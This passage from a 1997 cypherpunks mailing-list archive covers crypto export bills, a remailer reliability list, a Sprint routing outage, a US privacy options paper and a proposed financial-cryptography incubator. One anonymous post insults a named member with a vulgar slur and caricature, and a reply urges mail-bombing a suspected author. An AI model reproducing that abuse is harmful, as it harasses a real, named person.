time *IN* Israel and less time in Texas public libraries before writting
such drivel.

<sigh> Never overestimate the stupidity of others.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2Rw4Y9Co1n+aLhhAQHEcwP/Rz3nKwiyWV4995u21B1sFeTmGglyM9wa
dCtmbtNx7auZWvKALVfonflZ1JW8U5GwoQgdPvsjUEaQ0ACxr1kvtOE3em8+zUd7
lyMqPswWj5QcLmCucISgWxU51ch0uAz+H7mdzpBBI5UYs6CoRm7gM85gZqqsIffi
3u6O5qyEttI=
=IBaP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 01:50:25 -0700 (PDT)
To: tz@execpc.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <97Apr26.185020edt.32257-1@brickwall.ceddec.com>
Message-ID: <199704280848.DAA08939@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <97Apr26.185020edt.32257-1@brickwall.ceddec.com>, on 04/26/97 at 04:50
PM,
   tz@execpc.com said:


>On Fri, 25 Apr 1997, Declan McCullagh wrote:

>> My lord, I'm agreeing with Jim Bell!
>> 
>> Right now, no controls exit on domestic crypto, though strict export
>> controls are in place.
>> 
>> The question is: Do we want to give up any domestic freedom in exchange
>> for a relaxation of export controls? (Congress is, after all, built on
>> compromises between warring factions.)
>> 
>> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
>> progeny, while we keep our freedoms domestically. 
>> 
>> -Declan

>I emailed Rep Goodlatte, but didn't get a response about this issue.  My
>main problem is that it becomes a felony to use encryption for anything
>that can be prosecuted if I take the legalese literally.  So if I have a
>GSM cell phone in a car that is illegally parked, it seems that I would
>fall under the definition.

>I would mind it less if, 1. There had to be a conviction for the main
>crime.  2. The main crime must be a serious felony (i.e. something far
>worse than a single overdrawn check).  3. The penaly for using encryption
>in furtherance should be less than that for the main crime.  4. encryption
>had to play an intrinsic role in the main crime.  5. It must go beyond
>common, everyday uses of encryption.

What I find troubling with the whole thing is the ideal that I *NEED* the
US Congress to pass a law giving me permision to exercise my 1st Amendment
Rights.

This is just another "bait and switch" scam by the government.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Friends don't let friends use Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2RzQY9Co1n+aLhhAQFatAP/RLO83JvFuU4gIddlSdvSgGxLd1fM2DlV
GMWTJ8tuzCclvGLp+mnkfzviQjhoV17DZKz9JeDMUpnDYC0X5O8ixLEnYLOkwWiB
yF0avwsN+s9kQESFHNd8p/fybHvud007Oyg48g/WHQulLcRM01phhw2wcYx8ZuyO
VYFE5rPrHPY=
=ghIK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 05:47:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199704281247.FAA06767@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Timothy C[unt] Mayonnaise descends into total inanity. 
He should have a cold shower and/or a Turkish coffee.

        ///////
        \-oo-/  Timothy C[unt] Mayonnaise
         \--/
          \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 28 Apr 1997 06:50:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704281350.GAA19873@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 28 Apr 97 6:45:41 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              +####*##+#*#     2:43 100.00%
nym      config@nym.alias.net             #**#****+*#*     6:22 100.00%
winsock  winsock@rigel.cyberpass.net      -.---------+  3:46:09  99.97%
mix      mixmaster@remail.obscura.com     -+.-+++++.-+  4:43:57  99.95%
cyber    alias@alias.cyberpass.net         ++++++++++*    34:08  99.93%
balls    remailer@huge.cajones.com        #### .#*####     4:06  99.89%
weasel   config@weasel.owl.de             --+-+--+-++   1:59:30  99.81%
squirrel mix@squirrel.owl.de              --+++--+-++   1:58:54  99.78%
reno     middleman@cyberpass.net          **-*+ +-+.--  1:22:46  99.72%
replay   remailer@replay.com               * *+ * ****     6:38  99.57%
lucifer  lucifer@dhp.com                  ++++++ +++++    35:57  99.56%
jam      remailer@cypherpunks.ca             ** * ****    11:25  89.98%
extropia remail@miron.vip.best.com        .-           20:55:08  19.68%
exon     remailer@remailer.nl.com            #          1:06:10  18.60%
dustbin  dustman@athensnet.com            -             2:47:22   7.22%
shaman   remailer@lycaeum.org                             21:34   1.15%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 28 Apr 1997 06:08:28 -0700 (PDT)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704220056.RAA13633@adnetsol.adnetsol.com>
Message-ID: <Pine.BSF.3.91.970428075043.2715A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 21 Apr 1997, Ross Wright wrote:

> On or About 21 Apr 97 at 15:42, Huge Cajones Remailer wrote:
> 
> > Rabid Wombat wrote:
> > > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > > Huge Cajones Remailer wrote:
> > > > > Dr D. Wrote:
> > > > > > Toto wrote:
> > > > > > > T.C. May Wrote:
> > > > > > > > Igor wrote:
> > > > > > > > > Blah, Blah, Blah wrote:
> 
> As I said this was on just about every mailing list that I read.  It 
> showed up first on a music related list.  
> 
> My question:  Why is this the only list that the thread is still 
> alive on?  Jim, can we get an AP pool up to KILL it?
> 

Careful; you're treading upon Tim's right to speak freely concerning the 
preservation of the intellectual property rights of light-bulb jokesters 
everywhere.

I must also remind you that you cannot kill a thread of this nature 
without calling someone a Nazi. Rules are rules.

-marsupialmonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 28 Apr 1997 09:39:22 -0700 (PDT)
To: Gary Howland <gary@systemics.com>
Subject: Re: Don Wood -- IPG
In-Reply-To: <9704282112.ZM1406@prometheus.projectx.com.au>
Message-ID: <3.0.1.32.19970428080738.0063ea78@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:11 PM 4/28/97 +0200, Gary Howland wrote:
>> This is the output of said PRNG.
>No, I think it is a true RNG!  If we can figure out a way to hook 
>his brain up to our key generator ...

I'd prefer the Lava Lamp, thanks :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 28 Apr 1997 05:12:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New USG Privacy Initiative
Message-ID: <1.5.4.32.19970428121019.006ea670@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Administration has issued today for public comment a 
major new paper on privacy:

"Options for Promoting Privacy on the National Information 
Infrastructure"

Opening paragraphs:

This Options Paper explores the growing public concern 
about personal information privacy. The paper describes 
the status of electronic data protection and fair 
information practices in the United States today, 
beginning with a discussion of the Principles for 
providing and using personal information issued by the 
Information Infrastructure Task Force in 1995. It then 
provides an overview of new information technologies, 
which shows that personal information is currently 
collected, shared, aggregated, and disseminated at a 
rate and to a degree unthinkable just a few years ago. 
Government is no longer the sole possessor of extensive 
amounts of personal information about U.S. citizens; in 
recent years the acquisition of personal information by 
the private sector has increased dramatically.

We next consider in more detail the laws and policies 
affecting information privacy in four specific areas: 
government records, communications, medical records, and 
the consumer market. This examination reveals that 
information privacy policy in the United States consists 
of various laws, regulations and practices, woven together 
to produce privacy protection that varies from sector to 
sector. Sometimes the results make sense, and sometimes 
they do not. The degree of protection accorded to personal 
information may depend on the data delivery mechanism 
rather than on the type of information at issue. Moreover, 
information privacy protection efforts in the United States 
are generally reactive rather than proactive: both the 
public and the private sector adopt policies in response 
to celebrated incidents of nonconsensual disclosure 
involving readily discernable harm. Sometimes this 
approach leaves holes in the fabric of privacy protection.  

We then turn to the core question: in the context of the 
GII, what is the best mechanism to implement fair 
information practices that balance the needs of government, 
commerce, and individuals, keeping in mind both our interest 
in the free flow of information and in the protection of 
information privacy? At one end of the spectrum there is 
support for an entirely market-based response. At the other 
end of the spectrum, we are encouraged to regulate fair 
information practices across all sectors of the economy. 
In between these poles lie a myriad of options. 
 
In response to public concern, both government and private 
industry seem to be taking a harder look at privacy issues. 
As government and consumers become more aware of the GII's 
data collection, analysis and distribution capabilities, 
demand could foster a robust, competitive market for 
privacy protection. This raises the intriguing possibility 
that privacy could emerge as a market commodity in the 
Information Age. We recognize ongoing efforts to enhance 
industry self regulation to carry out the IITF Privacy 
Principles. We also discuss ways this self regulation might 
be enforced, and discuss a number of ways that government 
could facilitate development of a privacy market. 
 
We then consider a number of options that involve creation 
of a federal privacy entity. We discuss some of the many 
forms that such an entity could take and consider the 
advantages and disadvantages of the various choices. We also 
consider the functions that such an entity might perform, 
as well as various options for locating a privacy entity 
within the federal government.  

This paper presents a host of options for government and 
private sector action. Our ultimate goal is to identify 
the means to maintain an optimal balance between personal 
privacy and freedom of information in the digital 
environment. The next step is to receive and respond to 
public comment on the report in order to develop consensus 
regarding the appropriate allocation of public and private 
sector responsibility for implementation of fair 
information practices. 

---------

   http://www.iitf.nist.gov/ipc/privacy.htm  (216K)

We've mirrored it at:

   http://jya.com/privacy.htm
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 28 Apr 1997 08:44:55 -0700 (PDT)
To: wombat@mcfeely.bsfs.org (Rabid Wombat)
Subject: Re: Staale & Elm
In-Reply-To: <Pine.BSF.3.91.970428094829.2715J-100000@mcfeely.bsfs.org>
Message-ID: <199704281539.IAA20003@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat writes:
> 
> > > I have been noticing a problem contacting sites all over Northern and Central
> > > Europe.
> > > 
> 
> Sprint's network was somewhat overloaded due to the bogus routes
> redirecting traffic onto their network. I doubt the problem spread as far
> as Europe, at least on a widespread basis. We have about 200 sites
> worldwide, only a few actually connected to Sprint. We only saw
> intermittent failures reaching some sites for about an hour. 

Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
a book on hacking and security that I'm editing, and a number of
ordinarily reachable sites were down.  Traceroutes to them showed
wierd routing problems, mostly routing 'loops'.


> > I wonder how long it'll be possible for unauthenticated/unapproved people to
> > mess around with routers.
> 
> Sprint probably should have been filtering routes / AS_PATH (insert debate
> here) from its downstreams. This is a management challenge, but Bad
> Things(tm) can happen if you don't. 
> 
> > can't bring down the whole net, they'll just pass a law requiring
> > that anyone who wants the 'enable' password to a cisco have first
> > passed a government-approved "Internet Administrators Class" and
> > gotten a license.
> 
> Why are you picking on Cisco? The equipment in question was a pair of Bay
> Networks BLN routers. The jury is still out as to whether this was a Bay
> bug or a config screw-up. 

I'm not picking on cisco, you missed my point.


In all other 'infrastructures' (i.e. phone company, roads)
only officially-sanctioned people are allowed access to work on things.
With the phone company, it's phone company employees & contractors, with
the roads its government employees and contractors.  When private
extensions are added, they're restricted and compartlemtalized so
that they can't affect the entire infrastructure... a private
corporate phone switch's misprogramming doesn't bring down Pac Bell.

OTOH, with the internet, this is not true.  IP routing is complex enough
that a router configurating error (or perhaps a series of them, maybe
Sprint was accepting BGP sessions from someone they shouldn't have)
_can_ damage major parts of the net.

Engineers (like most people on this list) first thought when faced with
a situation like this is to design more fail-safes into the system to
prevent a clueless admin or a router with a software error from
causing so much damage.  But politicians, when faced with the same
situation, their first reaction is "We gotta have a Law".

My prediction is that if things like this keep happening, the Internet will
be declared a "defense interest computer system" or something similar, and
only "approved personnel" will be allowed to mess with net-connected routers.
Hence mentioning the 'enable' (root) password on ciscos- I figured
more people here are familiar with them since they're the most popular
router and the OS's look and feel hasn't changed substantialy for
the last 5 years or so.



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 28 Apr 1997 06:00:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NII Privacy Paper Notice
Message-ID: <1.5.4.32.19970428125828.008a572c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


See today's Federal Register notice for the NII Privacy Paper:

   http://jya.com/omb042897.txt

It gives the cut-off date for comments, where to send them
and background of the paper.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 28 Apr 1997 07:36:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <199704280540.AAA00449@smoke.suba.com>
Message-ID: <LRgV6D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > Cigarette advertizing is what created TV in the U.S.
> 
> 	Is this an argument _for_ banning cigarette ads, or against?
> 

Neither.  It's a statement of fact - in the 40's and 50's and early 60's
cigarette ads were the majoroty of TV ads (and most of the rest were  liquor
ads).  The capital needed to build the infrastructure to produce the TV shows
came from the cigarette ads.  If there were no cigarette ads in the '50's, then
US TV would probably remain as capital-starved as, say, BBC. I'm not sure if
that would be a GOOD THING or a BAD THING.

I also don't think the gubmint has any business regulating any form of
advertising.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 28 Apr 1997 08:49:05 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Accounts payable
In-Reply-To: <199704281247.FAA06767@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970428094806.41738B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Here, Timothy C[unt] Mayonnaise descends into total inanity. 
> He should have a cold shower and/or a Turkish coffee.
> 
>         ///////
>         \-oo-/  Timothy C[unt] Mayonnaise
>          \--/
>           \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 28 Apr 1997 08:20:38 -0700 (PDT)
To: Eric Murray <ericm@lne.com>
Subject: Re: Staale & Elm
In-Reply-To: <199704280005.RAA18503@slack.lne.com>
Message-ID: <Pine.BSF.3.91.970428094829.2715J-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> > I have been noticing a problem contacting sites all over Northern and Central
> > Europe.
> > 

Sprint's network was somewhat overloaded due to the bogus routes
redirecting traffic onto their network. I doubt the problem spread as far
as Europe, at least on a widespread basis. We have about 200 sites
worldwide, only a few actually connected to Sprint. We only saw
intermittent failures reaching some sites for about an hour. 

The problem occured at about 11:30 a.m. EDT, when the routers in question 
began sending invalid paths. The routers were shutdown at 12:15. 
Re-convergence might have taken another 20 mins. or so.

>   A problem at an Internet service provider in Virginia
>   triggered a massive logjam on the Internet Friday, but
>   the trouble was cleared up later in the day, Sprint
>   Corp. said. A customer of MAI Network Services, a
>   McLean, Va.-based Internet provider that is among
>   900 companies that buy wholesale access to the Net
>   from Sprint, entered 10,000 duplicate routes to the
>   Internet backbone.   That caused massive access delays for
>   an undetermined number of users, a Sprint spokes
>   man said. 


FLX. ASN 7007.

The Sprint router took in 72,000 bogus routes from the downstream 
source before it crapped out. A lot of traffic ended up being re-directed 
to Sprint as a result of the route problem, causing them to haul higher 
than normal levels of traffic.


> 
> 
> I wonder how long it'll be possible for unauthenticated/unapproved people to
> mess around with routers.

Sprint probably should have been filtering routes / AS_PATH (insert debate
here) from its downstreams. This is a management challenge, but Bad
Things(tm) can happen if you don't. 

> can't bring down the whole net, they'll just pass a law requiring
> that anyone who wants the 'enable' password to a cisco have first
> passed a government-approved "Internet Administrators Class" and
> gotten a license.

Why are you picking on Cisco? The equipment in question was a pair of Bay
Networks BLN routers. The jury is still out as to whether this was a Bay
bug or a config screw-up. 

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Mon, 28 Apr 1997 11:27:37 -0700 (PDT)
To: Declan McCullagh <shamrock@netcom.com>
Subject: No Subject
Message-ID: <199704281827.LAA27404@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: jimbell@pacifier.com (Jim Bell)
>
> > can't have everything OUR way, the FIRST time around.  Washington
>
> I think you misunderstand the situation.  The government is in somewhat of a
> disadvantage by virtue of the fact that there is relatively little
> pro-censorship and anti-encryption legislation.  Absent such legislation,

Here is where I don't agree on the merits ...

1.  Pro-censorship agendas does not need much legislative momentum
because it does not take much P.R. on a child-molestation-murder
incident on some little caucasian girl from a motherhood-and-apple-pie
Small Town, U.S.A. to drum up the sentiments to censor.

2.  Anti-encryption has been well guarded by the NSA/CIA/FBI/DoD for a
long time using the semi-legitimate veil of national security.  In
fact, in some senses, there ARE legislative support, even if
unconstitutional when evaluated in the bright light of day.  The
problem is that you'll fight for years JUST TO GET A CHANCE to
evaluate the law itself.

Yes, some of the current legal battles are on their way there, but
it's been a LONG time, and every decision/every appeal takes months to
years, and it's clear that the NSA is hoping that in 2 years, they can
sign up enough pro-key-recovery companies to make the legal battles
moot.  2 years is pretty short compared to the time scales on these
battles, and the NSA is counting on just that.

To me, the time-to-market is just as important as the purity of the
products (the proposed legislations).

> the status-quo moves in a relatively free fashion, which is why the
> Internet is mostly unregulated today.

I don't think anyone will be willing to genuinely export encryption
(in a real commercial product) while directly flaunting the NSA's
implicit/explicit authority on this matter.  Corporations are too
concerned with the short term bottom line to care about more long term
goals like have freedom to export anything it wants.  I already know
of several instances at various companies where designs were
deliberately altered to NOT give the appearance of designing a product
with specific encryption/decryption capabilities, even though that is
what the product must support, fundamentally speaking.  Therefore, I
must conclude that the NSA is definitely winning some battles on their
2 year schedule already.

> From: Declan McCullagh <declan@well.com>
>
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)
>
> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
> progeny, while we keep our freedoms domestically.

I really don't think we are disagreeing here.  I would not support any
restrictions on domestic usage, nor would I support any restrictions
on what non-governmental institutions may use.  I still believe we
should push for all we can get because that is the way the
legistlative process works, and that is the game the other side is
playing.  However, we shouldn't place unrealistic constraints on our
supporting legislators such as taking an "all or nothing" attitude.

Even if all we can get is 56-bit or 64-bit export legalization, it is
a HUGE chip away from the NSA rock because their "2 years free for key
recovery" plan is just that much weaker.  I would rather see, of
course, 128-bit/168-bit be liberalized, because that would essentially
mean that everything is liberalized, because the NSA has been playing
this "56-bit is too strong" charade, and losing 128-bit/168-bit is
essentially losing their argument, unless they want to risk coming to
the security committees admitting that they have lied.

> From: Lucky Green <shamrock@netcom.com>
>
> > Let's let the legislative process (whatever you think of it) take its
> > course.  I'll be happy even if they sneak some screwy secret committee
> > on the final bill, as long as we are not subject to that committee or
> > any other governmental body just because we allow ftp of C source code
>
> I think this is a dangerous position to take... make that fatal. The
> code is already being ftp'ed out of the US. The law would gain you
> little.

Well, we're not talking about the realities of the massive
semi-underground activities.  We're talking about the U.S. Government,
(which often has poor notions/understandings of reality), corporations
(which often must obide by the laws and regulations, however poor,
crafted by the U.S. Gov.), and genuine consumer applications (which
are significantly driven by the products produced by these
corporations).

> But the new restrictions/enhanced penalties, which will
> inevitably be included in any crypto bill that might become law,
> will set us back severely.  Personally, I hope that none of the
> crypto bills pending gets passed.

Of course, I don't like any of them, especially if there are still
secret committees with very real control written into the legislation.
If the NSA/FBI can call up Robert Allen to stall a secure phone
product line, they already have enough power outside the legal process
that they don't need any real committees to help them out.  However,
NSA will clearly deny having this level of influence to the security
committees, and they will most likely accept the NSA's word.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Apr 1997 10:04:25 -0700 (PDT)
To: Large Recipient List Suppressed <rah@shipwright.com>
Subject: e$: Time for a Financial Cryptography "IdeaLab"?
Message-ID: <v03020914af8a6e7a6671@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



Last week, a close friend handed me a February issue of Inc. magazine, the
one with an article in it about Bill Gross and his IdeaLab project in
Pasadena. Since then, I haven't been able to get Yet Another Idea out of my
mind.


Gross, a veteran entrepreneur with quite a few successful software startups
to his name, has set up a company which uses an investment pool to create
and spin off a rapid succession of small internet startups, using a sort of
"internet startup in a box" approach, all built around a common core of
financial, legal, and marketing people. The idea is to free an entrepreneur
to concentrate on designing, building, and selling the startup's product,
in this case, some kind of internet software or service. IdeaLab takes a
minority equity position in return for its money.

A Boston company which has been doing something like this, only on an
internal basis, is Thermo-Electron Corporation, who has made much more
money spinning off new companies than it ever could as a stand-alone
industrial enterprise.

IdeaLab thinks that it can have this kind of approach with internet
startups above all others because everything on the net happens so fast and
the cost of entry is so small that there are actual diseconomies of scale.
Moore's Law in a geodesic market as capital surfactant, in other words. :-).

Anyway, you can read more about all this, and IdeaLab itself, in the Inc.
Magazine archives: <http://www.inc.com/>.


So, after a couple of years of sitting on the sidelines and cheering people
on (I've had a bunch of fun, but my tax return for last year was a miracle
of financial brevity :-)), of second-guessing the market and being right
more often than I'd care to think about, I've decided to get into the game
and play a bit myself, and see what happens.


What I propose to do is to create a Boston-based copy of the IdeaLab
concept, focusing on financial cryptography, and, in particular,
peer-to-peer internet transaction settlement: internet checking, digital
bearer certificate technology for cash and securities, micromoney
"mitochondria", that kind of stuff.

To do this, I want to collect a core group of financial, legal, and
marketing/promotion folks who would work for the lab company itself, and in
support of the startup firms it creates, until those firms earn enough
money to hire their own people for those jobs. So, I need people in those
disciplines who're not only familiar with the net, but also the idea of
geodesic markets, and of  financial cryptography, but, more important,
people who have participated in founding as many startup companies as
possible. Finding those people may be hard, but I think they're out there.

More important than that, I'm looking for a small initial group of "angel"
shareholders who not only invest in the first round of funding for the lab,
but can work as advisors to these usually very young technological
pioneers, and teach them to think in profit-and-loss terms. Over time, I'd
like to populate the advisor pool with successful graduates of the lab.

The first round of "angel" funding will be to get the lab started and start
the first few companies in areas where I think things are going to pop in
the transaction settlement market shortly. A second round would be big
enough to get participation from the institutional investment community,
but the capitalization of the entire project won't be huge. IdeaLab was
started with $5 million, for example. Right now, I think $10 million would
be the most I could ask for with a straight face for the whole effort. :-)
I'll leave dreamy discussions of some hypothetical hockey-stick investment
return curve for the prospectus, where it belongs. ;-).


I'm at the utter ground floor on this at the moment. No business plan, just
what I think is a pretty good idea.

So, I need all the help I can get. If you've any ideas, particularly if
you've worked on any of the components I need to make this work, I'd love
to hear from you.


Cheers,
